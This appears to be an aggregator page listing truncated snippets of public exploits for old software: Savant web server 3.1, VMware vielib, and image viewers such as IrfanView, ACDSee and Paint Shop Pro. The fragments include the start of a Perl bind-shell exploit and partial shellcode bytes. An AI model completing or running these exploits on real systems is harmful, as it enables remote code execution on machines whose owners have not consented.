CVE-2007-4444

CVE-2007-4444 involves multiple buffer overflows in Image Space rFactor 1.250 and earlier. The issue allows remote attackers to execute arbitrary code by sending a UDP packet to port 34297 with ID 0x80 or 0x88, related to the buffer containing the server version number. Affected software: Image S...

savant-overflow.txt

!/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='tcp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "can't conne...

Savant 3.1 Get Request Remote Overflow Exploit (Universal)

No description provided by source. !/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl victim port\n\n"; exit; $victim = IO::Socket::INET-newProto='tcp',...

Savant Web Server 3.1 - GET Universal Remote Overflow

Savant Web Server 3.1 - GET Universal Remote Overflow !/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='tcp'...

Savant Web Server 3.1 - GET Universal Remote Overflow

!/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='tcp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "can't conne...

vmware-vielib-exec.txt

:. GOODFELLAS Security Research TEAM .: :. http://goodfellas.shellcode.com.ar .: vielib.dll 2.2.5.42958 VmWare Inc version 6.0.0 Remode Code Execution Exploit ============================================================================= Internal ID: VULWAR200707290. ----------- Introduction...

Photoshop CS2/CS3 / Paint Shop Pro 11.20 .PNG File BoF Exploit

No description provided by source. / Photoshop CS2/CS3, Paint Shop Pro 11.20 .PNG File Buffer Overflow Like bitmap files, PNG files can do great things =D. In french: "buffer overflow a gogo!" The generated .PNG file will work for: -Photoshop CS2 -Photoshop CS3 -Photoshop Elements 5.0 -Corel Pain...

freshview-overflow.txt

/ FreshView 7.15 .PSP File Buffer Overflow FreshView is vulnerable to an unspecified buffer overflow when processing a crafted .PSP file. This exploit runs calc.exe or binds shell to port 4444. Tested against Win XP SP2 FR. Have Fun! Coded and discovered by Marsu Note: Open that in XnView to see...

abcview-overflow.txt

/ ABC-View Manager 1.42 .PSP File Buffer Overflow ABC-View Manager is vulnerable to an unspecified buffer overflow when processing a crafted .TTF file. This exploit runs calc.exe or binds shell to port 4444. Tested against Win XP SP2 FR. Have Fun! Coded and discovered by Marsu Note: Open that in...

IrfanView 4.00 - .iff Local Buffer Overflow

IrfanView 4.00 - .iff Local Buffer Overflow / IrfanView / include "stdio.h" include "stdlib.h" / win32exec - EXITFUNC=process CMD=calc.exe Size=138 Encoder=PexFnstenvSub http://metasploit.com / unsigned char CalcShellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"...

Photoshop CS2/CS3 / Paint Shop Pro 11.20 .PNG File BoF Exploit

Exploit for unknown platform in category local exploits ============================================================== Photoshop CS2/CS3 / Paint Shop Pro 11.20 .PNG File BoF Exploit ============================================================== /\ Photoshop CS2/CS3, Paint Shop Pro 11.20 .PNG File...

IrfanView <= 4.00 .IFF File Buffer Overflow Exploit

Exploit for unknown platform in category local exploits =================================================== IrfanView / include "stdio.h" include "stdlib.h" / win32exec - EXITFUNC=process CMD=calc.exe Size=138 Encoder=PexFnstenvSub http://metasploit.com / unsig...

IrfanView 4.00 - '.iff' Local Buffer Overflow

/ IrfanView / include "stdio.h" include "stdlib.h" / win32exec - EXITFUNC=process CMD=calc.exe Size=138 Encoder=PexFnstenvSub http://metasploit.com / unsigned char CalcShellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"...

FreshView 7.15 (.PSP File) Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ================================================== FreshView 7.15 .PSP File Buffer Overflow Exploit ================================================== / FreshView 7.15 .PSP File Buffer Overflow FreshView is vulnerable to an unspecified buffe...

Corel Paint Shop Pro Photo 11.20 (.CLP File) Buffer Overflow Exploit

No description provided by source. / Corel Paint Shop Pro Photo v11.20 Unspecified .CLP File Buffer Overflow &n...

Corel Paint Shop Pro Photo 11.20 - '.clp' Local Buffer Overflow

/ Corel Paint Shop Pro Photo v11.20 Unspecified .CLP File Buffer Overflow By opening a specially crafted file, SEH can be overwritten which makes code execution possible. This sploit runs calc.exe or binds to port 4444. Tested against Win XP SP2 FR. Have Fun! Coded and discovered by Marsu / inclu...

XnView 1.90.3 (.XPM File) Local Buffer Overflow Exploit

No description provided by source. / XnView 1.90.3 .XPM File Buffer Overflow ...

Corel Paint Shop Pro Photo 11.20 (.CLP File) Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ==================================================================== Corel Paint Shop Pro Photo 11.20 .CLP File Buffer Overflow Exploit ==================================================================== / Corel Paint Shop Pro Photo v11.20...

ACDSee 9.0 (.XPM File) Local Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ==================================================== ACDSee 9.0 .XPM File Local Buffer Overflow Exploit ==================================================== / ACDSee v9.0 .XPM File Buffer Overflow ACDSee is vulnerable to an unspecified buffe...

ACDSee 9.0 - .xpm Local Buffer Overflow

ACDSee 9.0 - .xpm Local Buffer Overflow / ACDSee v9.0 .XPM File Buffer Overflow ACDSee is vulnerable to an unspecified buffer overflow when processing a crafted .XPM file. This exploit runs calc.exe or binds shell to port 4444, and works against ACDSee and ACDSee Quick View. Tested against Win XP...